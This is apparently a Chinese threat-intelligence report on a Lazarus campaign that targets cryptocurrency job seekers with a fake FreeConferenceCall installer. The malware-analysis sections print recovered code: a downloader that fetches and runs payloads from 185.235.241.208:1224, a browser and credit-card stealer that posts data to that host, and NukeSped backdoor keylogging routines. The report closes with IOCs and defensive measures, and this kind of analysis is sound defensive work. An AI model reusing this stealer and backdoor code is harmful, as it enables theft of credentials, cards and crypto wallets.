概述
瑞星威胁情报平台于近期捕获到一起Lazarus
组织的攻击事件,攻击者发送伪装成FCCCall
的安装包给从事加密货币行业的面试者,FCCCall
的全称是FreeConferenceCall
,是一款音频和视频会议服务的软件,当用户使用这个伪造的安装包安装FCCCall之后,同时会被植入一个恶意软件,该软件会窃取多个浏览器的信息,并下载一个Python
程序包和下一阶段的恶意Python
文件,使用Python
程序执行恶意脚本文件后会下载窃取浏览器数据的Python
脚本文件和NukeSped
后门。此次攻击事件与Lazarus
组织之前针对加密货币从业者攻击事件具有高度的相似性,因此将本次捕获到的攻击行动归属于Lazarus
组织。
Lazarus
组织是一个自2007年就开始对目标进行网络攻击的威胁组织,该组织又被称为APT-C-26
、T-APT-15
等,是现今最活跃的威胁组织之一。该组织疑似来自朝鲜,具有国家背景。其除了擅长信息盗取,间谍活动,还会蓄意破坏获取经济利益,攻击的国家包括中国,德国,澳大利亚,日本等,涉及的领域有航空航天、政府、医疗、金融和媒体等。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 -执行 |
T1059 -命令和脚本解释器 |
执行Python 脚本 |
TA0002 -执行 |
T1204 -用户执行 |
需要用户点击安装包安装恶意程序 |
TA0005 -防御规避 |
T1036 -伪装 |
伪装成FCCCall 的安装包 |
TA0006 -凭证访问 |
T1555 -从密码存储中获得凭据 |
获取被入侵主机的浏览器登陆凭证 |
TA0007 -环境发现 |
T1614 -获取系统地理位置 |
获取入侵主机的地理位置(国家,城市,地区,时区,经纬度) |
TA0007 -环境发现 |
T1082 -收集系统信息 |
获取被入侵主机的操作系统的类型、版本、主机名 |
TA0007 -环境发现 |
T1016 -收集系统网络配置 |
获取被入侵主机的外部IP 地址和内部IP 地址 |
TA0009 -收集信息 |
T1005 -来自本地系统的数据 |
获取指定目录下的文件 |
TA0009 -收集信息 |
T1115 -剪贴板数据 |
获取入侵主机剪贴板内容 |
TA0009 -收集信息 |
T1056 -捕获用户输入 |
获取键盘记录 |
TA0010 -外传信息 |
T1020 -自动外传 |
自动发送收集到的受害者机器信息 |
TA0010 -外传信息 |
T1041 -通过C2通道外传 |
C2通道同时可以接收后门回传的受害者机器信息 |
攻击事件详情
在7月份的攻击事件中,Lazarus
组织通过代码托管平台GitHub
存放包含恶意代码的软件包,供应聘者下载,当应聘者使用npm install
和npm start
提取并执行包的内容时,会执行隐藏的恶意JS
代码。
在此次事件中,通过伪装成FCCCall
的安装包,释放出恶意的FCCCall.exe
,执行程序之后,会显示FreeConference
的登录界面。
攻击流程
样本分析
1. 初始文件:FCCCall.exe
字段 | 内容 |
---|---|
原始文件名 | FCCCall.exe |
文件大小 | 228.00 KB (233472 bytes) |
文件MD5 | ed60b3913e6694f4a0ed2fe25551bd1f |
文件类型 | EXE |
病毒名 | Stealer.[Lazarus]BeaverTail!1.1028E |
主要功能 | 下载文件 |
获取Windows
、Linux
、macOS
平台的Chrome
、Brave
、Opera
、Edge
浏览器信息,还会在受害者的网络浏览器中搜索与加密货币钱包相关的扩展程序。
QString::QString((QString * ) v33, "/AppData/Local/BraveSoftware/Brave-Browser/User Data");
sub_140001E40(v36, v37, v33);
if (!v36[0] || * (int * ) v36[0] > 1)
sub_140006570(v36, 0 i64, 0 i64, 0 i64);
QString::~QString(v33);
QString::QString((QString * ) v33, "/.config/BraveSoftware/Brave-Browser");
sub_140001E40(v36, v37, v33);
if (!v36[0] || * (int * ) v36[0] > 1)
sub_140006570(v36, 0 i64, 0 i64, 0 i64);
QString::~QString(v33);
QString::QString((QString * ) v33, "/Library/Application Support/BraveSoftware/Brave-Browser");
sub_140001E40(v36, v37, v33);
if (!v36[0] || * (int * ) v36[0] > 1)
sub_140006570(v36, 0 i64, 0 i64, 0 i64);
QString::~QString(v33);
sub_140001BA0(a1 + 216, *(_QWORD * )(a1 + 232), v36);
v23 = * (int * * )(a1 + 216);
if (!v23 || * v23 > 1)
sub_140006030(a1 + 216, 0 i64, 0 i64, 0 i64);
*(_OWORD * ) Block = 0 i64;
v35 = 0 i64;
QString::QString((QString * ) v33, "/AppData/Roaming/Opera Software/Opera Stable");
sub_140001E40(Block, v35, v33);
if (!Block[0] || * (int * ) Block[0] > 1)
sub_140006570(Block, 0 i64, 0 i64, 0 i64);
QString::~QString(v33);
QString::QString((QString * ) v33, "/.config/opera");
sub_140001E40(Block, v35, v33);
if (!Block[0] || * (int * ) Block[0] > 1)
sub_140006570(Block, 0 i64, 0 i64, 0 i64);
QString::~QString(v33);
QString::QString((QString * ) v33, "/Library/Application Support/com.operasoftware.opera");
sub_140001E40(Block, v35, v33);
加密货币钱包扩展程序:
QString::QString((QString * ) v7, "nkbihfbeogaeaoehlefnkodbefgpgknn");
QString::QString((QString * ) v8, "ejbalbakoplchlghecdalmeeeajnimhm");
QString::QString((QString * ) v9, "fhbohimaelbohpjbbldcngcnapndodjp");
QString::QString((QString * ) v10, "hnfanknocfeofbddgcijnmhnfnkdnaad");
QString::QString((QString * ) v11, "ibnejdfjmmkpcnlpebklmnkoeoihofec");
QString::QString((QString * ) v12, "bfnaelmomeimhlpmgjnjophhpkkoljpa");
QString::QString((QString * ) v13, "aeachknmefphepccionboohckonoeemg");
QString::QString((QString * ) v14, "hifafgmccdpekplomjjkcfgodnhcellj");
QString::QString((QString * ) v15, "jblndlipeogpafnldhgmapagcccfchpi");
QString::QString((QString * ) v16, "acmacodkjbdgmoleebolmdjonilkdbch");
QString::QString((QString * ) v17, "dlcobpjiigpikoobohmabehhmhfoodbb");
QString::QString((QString * ) v18, "aholpfdialjgjfhomihkjbmgjidlcdno");
从hxxp://185.235.241.208:1224/client/99
下载下一阶段的恶意Python脚本,从hxxp://185.235.241.208:1224/pdown
下载Python压缩包到C:\Users\username
下,执行tar -xf
命令提取压缩包里的文件到当前目录下,使用python.exe
执行恶意的Python脚本。
All = (const struct QByteArray * ) QIODevice::readAll( * (_QWORD * )(a1 + 96), v44);
QIODevice::write((QIODevice * ) v43, All);
QByteArray::~QByteArray((QByteArray * ) v44);
QFileDevice::close((QFileDevice * ) v43);
v5 = QMessageLogger::QMessageLogger((QMessageLogger * ) v46, 0 i64, 0, 0 i64);
v6 = QMessageLogger::debug(v5, & v51);
QDebug::operator << (v6, "Download Python Success!");
QDebug::~QDebug((QDebug * ) & v51);
QString::QString((QString * ) v49, "tar");
*(_OWORD * ) Src = 0 i64;
v39 = 0 i64;
QString::QString((QString * ) v45, "-xf");
QString::QString(v40, v45);
sub_140006570(Src, 0 i64, 1 i64, 0 i64);
v7 = (char * ) Src[1];
memmove(v7 + 24, v7, 24 * v39);
QString::QString(v7, v40);
++v39;
QString::~QString(v40);
if (!Src[0] || * (int * ) Src[0] > 1)
sub_140006570(Src, 0 i64, 0 i64, 0 i64);
v8 = QDir::homePath(v46);
v9 = QString::operator += (v8, "/p");
QString::QString(v44, v9);
v29 = QDir::homePath(v46);
v30 = QString::operator += (v29, "/.pyp/python.exe");
QString::QString(v48, v30);
QString::~QString(v46);
*(_OWORD * ) Block = 0 i64;
v42 = 0 i64;
v31 = QDir::homePath(v46);
v32 = QString::operator += (v31, "/99");
2. 恶意Python脚本
字段 | 内容 |
---|---|
原始文件名 | 99 |
文件大小 | 1.93 KB (1974 bytes) |
文件MD5 | 925402d87cb0d20888647ea527f35f71 |
文件类型 | Python |
病毒名 | Downloader.[Lazarus]Agent/Python!1.10456 |
主要功能 | 下载后门和浏览器数据窃取脚本 |
检查路径/.n2/pay
是否存在,存在则移除.n2
文件夹,不存在则创建.n2
文件夹,根据操作系统类型从hxxp://185.235.241.208:1224/payload/99/root
下载payload
到.n2/
目录下,并且命名为pay
,如果是Windows
系统,创建进程并且以隐藏的方式执行payload
,其他的操作系统则直接创建进程执行。
sType = "99"
gType = "root"
ot = platform.system()
home = os.path.expanduser("~")
#host1 = "10.10.51.212"
host1 = "185.235.241.208"
host2 = f'http://{host1}:1224'
pd = os.path.join(home, ".n2")
ap = pd + "/pay"
def download_payload():
# 检查文件是否存在,如果存在则删除
if os.path.exists(ap):
try:os.remove(ap)
except OSError:return True
# 如果目录不存在,则创建目录
try:
if not os.path.exists(pd):os.makedirs(pd)
except:pass
# 根据操作系统类型,下载不同的payload
try:
if ot=="Darwin":
# aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)
# http://185.235.241.208:1224/payload/99/root
aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)
else:
aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)
return True
except Exception as e:return False
res=download_payload()
if res:
if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
else:subprocess.Popen([sys.executable, ap])
if ot=="Darwin":sys.exit(-1)
和上面一样的操作,从hxxp://185.235.241.208:1224/brow/99/root
上下载浏览器窃取的脚本到.n2/
目录下,并且命名为bow
,创建进程执行脚本。
ap = pd + "/bow"
def download_browse():
if os.path.exists(ap):
try:os.remove(ap)
except OSError:return True
try:
if not os.path.exists(pd):os.makedirs(pd)
except:pass
try:
# http://185.235.241.208:1224/brow/99/root
aa=requests.get(host2+"/brow/"+ sType +"/"+gType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)
return True
except Exception as e:return False
res=download_browse()
if res:
if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
else:subprocess.Popen([sys.executable, ap])
3. 浏览器数据窃取脚本:bow
字段 | 内容 |
---|---|
原始文件名 | bow |
文件大小 | 20.51 KB (21002 bytes) |
文件MD5 | 7b9eedf8867325d4bb130c7de7eee226 |
文件类型 | Python |
病毒名 | Stealer.Browser/Python!1.102B0 |
主要功能 | 窃取浏览器的数据 |
获取Windows
,Linux
,macOS
操作系统上的Chrome
、Opera
、Brave
、Yandex
、Msedge
多款浏览器中保存的登录凭证、扩展等数据,并且还会检索信用卡信息,包括持卡人姓名、到期月份和年份、加密的卡号,以及修改日期。
class Chrome(BrowserVersion):base_name = "chrome";v_w = ["chrome", "chrome dev", "chrome beta", "chrome canary"];v_l = ["google-chrome", "google-chrome-unstable", "google-chrome-beta"];v_m = ["chrome", "chrome dev", "chrome beta", "chrome canary"]
class Brave(BrowserVersion):base_name = "brave";v_w = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_l = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_m = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"]
class Opera(BrowserVersion):base_name = "opera";v_w = ["Opera Stable", "Opera Next", "Opera Developer"];v_l = ["opera", "opera-beta", "opera-developer"];v_m = ["com.operasoftware.Opera", "com.operasoftware.OperaNext", "com.operasoftware.OperaDeveloper"]
class Yandex(BrowserVersion):base_name = "yandex";v_w = ["YandexBrowser"];v_l = ["YandexBrowser"];v_m = ["YandexBrowser"]
class MsEdge(BrowserVersion):base_name = "msedge";v_w = ["Edge"];v_l = [];v_m = []
conn = sqlite3.connect(filename)
cursor = conn.cursor()
# 检索信用卡信息,包括持卡人姓名、到期月份和年份、加密的卡号,以及修改日期。
cursor.execute('SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
把获取的数据上传到C2服务器hxxp://185.235.241.208:1224/keys
,数据的格式为ts:时间戳
,type:99
,hid:主机名
,ss:标识符
,cc:解密后的登录凭证和信用卡信息
。
def save(self, fn: Union[Path, str], filepath: Union[Path, str], blank_file: bool = False, verbose: bool = True) -> bool:
content = filepath + '\n' + self.pretty_print()
options = {'ts': str(ts),'type': sType,'hid': hn,'ss': str(fn),'cc': content}
# http://185.235.241.208:1224/keys
url = host2+'/keys'
print(options)
# 传输数据的格式:ts:时间戳,type:99,hid:主机名,ss:标识符,cc:解密后的登录凭证和信用卡信息
try:requests.post(url, data=options)
except:return ""
4.NukeSped后门:pay
字段 | 内容 |
---|---|
原始文件名 | pay |
文件大小 | 27.47 KB (28127 bytes) |
文件MD5 | d579bd2e8fd4d9eecc35f79420411d07 |
文件类型 | Python |
病毒名 | Backdoor.[Lazarus]NukeSped/Python!1.10455 |
主要功能 | 后门 |
获取操作系统的类型、版本、主机名、用户名以及UUID,同时会获取IP(外网IP和内网IP)和地理位置(国家,城市,地区,时区,经纬度,邮编,ISP,地区名),把获取的信息发送到hxxp://185.235.241.208:1224/keys
服务器上,数据格式还是ts:时间戳
,type:99
,hid:主机名
,ss:标识符
,cc:获取到的信息
。
class System(object):
def __init__(A):
A.system=system()
if gType == "root":
A.hostname=node()
else:
A.hostname=gType + "_" + node()
A.release=release()
A.version=version()
A.username=getuser()
A.uuid=A.getID()
def getID(A):return sha256((str(getnode())+getuser()).encode()).digest().hex()
def sysInfo(A):return{'uuid':A.uuid,'system':A.system,'release':A.release,'version':A.version,'hostname':A.hostname,'username':A.username}
class Comm(object):
def __init__(A):A.sys_info=Information().get_info()
def contact_server(A,ip,port):
A.ip,A.port=ip,int(port);B=int(time.time()*1000);C={'ts':str(B),'type':sType,'hid':hn,'ss':'sys_info','cc':str(A.sys_info)};D=f"http://{A.ip}:{A.port}/keys"
try:post(D,data=C)
except Exception as e:pass
def run_comm():c=Comm();c.contact_server(HOST, PORT);del c
通过设置钩子来获取键盘按键的信息和剪贴板的内容,捕获的数据会被存储在e_buf
中,等执行ssh_clip
命令后把数据发送到hxxp://185.235.241.208:1224/keys
服务器。
def hkb(event):
if event.KeyID == 0xA2 or event.KeyID == 0xA3:return _T
global e_buf
tt = check_window(event)
key = event.Ascii
if (is_control_down()):key=f"<^{event.Key}>"
elif key==0xD:key="\n"
else:
if key>=32 and key<=126:key=chr(key)
else:key=f'<{event.Key}>'
tt += key
if is_control_down() and event.Key == 'C':
start_time = Timer(0.1, run_copy_clipboard)
start_time.start()
elif is_control_down() and event.Key == 'V':
start_time = Timer(0.1, run_copy_clipboard)
start_time.start()
e_buf += tt;write_txt(tt);return _T
#设置了键盘和鼠标的钩子
def startHk():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown = hkb;hm.HookMouse();hm.HookKeyboard()
def hk_loop():startHk();pythoncom.PumpMessages()
该后门还具有执行cmd
命令,终止进程,发送键盘记录信息,下载窃取浏览器数据脚本和AnyDesk
远控等功能。
命令 | 功能 |
---|---|
ssh_obj | 执行cmd 命令 |
ssh_cmd | 终止python.exe 进程 |
ssh_clip | 上传键盘记录或剪贴板内容,发送完成后清空e_buf 的数据 |
ssh_run | 下载并执行浏览器数据窃取脚本 |
ssh_upload | 根据不同的参数指令,处理文件上传任务,sdira :上传特定目录下的所有文件,sdir :上传指定目录中的文件,sfile :上传一个特定的文件,sfinda 和 sfind :查找并上传符合特定模式的文件 |
ssh_kill | 终止chrome.exe 和brave.exe 进程 |
ssh_any | 下载并执行AnyDesk 远控软件 |
ssh_env | 查找系统中的.env 文件并将其上传到远程服务器 |
关联分析
关联事件
字段 | 内容 |
---|---|
原始文件名 | FCCCall |
文件大小 | 165.91 KB (169888 bytes) |
文件MD5 | 135848473382204D759A97AEDED76F2C |
文件类型 | MACH_O |
病毒名 | Stealer.[Lazarus]BeaverTail!1.1028E |
主要功能 | 下载文件 |
在最新的攻击事件中针对的是macOS
系统,同样是伪装成FCCCall
软件,其攻击手法和针对Windows
系统的事件手法非常相似,后续也会下载浏览器数据窃取脚本和Python
写的NukeSped
后门。
v10 = (volatile signed __int32 *)this[14];
*(_QWORD *)v24 = v10;
*(_QWORD *)&v24[8] = this[15];
*(_QWORD *)&v24[16] = this[16];
if ( v10 )
_InterlockedIncrement(v10);
QString::append(v24, "/pdown", 6LL);
QUrl::QUrl(&v20, v24, 0LL);
QNetworkRequest::setUrl((QNetworkRequest *)(this + 9), (const QUrl *)&v20);
if ( v13 )
_InterlockedIncrement(v13);
QString::append(v24, "/client/8", 9LL);
QUrl::QUrl(&v20, v24, 0LL);
QNetworkRequest::setUrl((QNetworkRequest *)(this + 10), (const QUrl *)&v20);
QUrl::~QUrl((QUrl *)&v20);
Lazarus组织针对加密货币从业者的攻击事件对比:
时间 | 2024年7月之前 | 2024年8月 | 2024年7月、2024年8 |
---|---|---|---|
针对系统 | Windows 、Linux 、macOS |
Windows |
macOS |
初始样本 | 通过代码托管平台存放包含恶意代码的软件包 | 伪装成Winsows版本的FreeConferenceCall 程序安装包 |
7月伪装成MiroTalk 视频通话程序,8月伪装成FreeConferenceCall 程序安装包 |
最终后门 | NukeSped 后门 |
NukeSped 后门 |
NukeSped 后门 |
攻击过程可视化(EDR)
瑞星EDR的威胁调查功能为恶意代码的溯源分析提供可视化的应用程序关系图,它可从任意事件或关键元素进行溯源并梳理攻击过程,定位恶意代码活动的关键链条。结合AI对攻击流程进行精准分析,全方位还原恶意代码如何从攻击面入侵、主机内如何持续性活动的完整攻击链。
因为服务器已经失效,所以可视化攻击流程分为多个部分。
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,除了会对重大信息资产进行攻击外,还会进行金融犯罪。Lazarus
组织从2014年后开始以盗取金钱资产为目的,通过虚假的招聘信息,诱使面试者下载恶意的开源项目和仿冒程序来窃取加密钱包。Lazarus
从最初在开源项目中嵌入恶意代码到开发适应各个系统的伪装成视频面试软件的恶意程序,其攻击手法在不断的进行变化,因此相关行业的从业者要对此引起重视,以免造成信息泄露和财产损失。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
ed60b3913e6694f4a0ed2fe25551bd1f 925402d87cb0d20888647ea527f35f71 7b9eedf8867325d4bb130c7de7eee226 d579bd2e8fd4d9eecc35f79420411d07 135848473382204d759a97aeded76f2c
-
IPV4
185.235.241.208
-
URL
hxxp://185.235.241.208:1224/client/99 hxxp://185.235.241.208:1224/pdown hxxp://185.235.241.208:1224/keys
-
瑞星病毒名
Stealer.[Lazarus]BeaverTail!1.1028E Downloader.[Lazarus]Agent/Python!1.10456 Backdoor.[Lazarus]NukeSped/Python!1.10455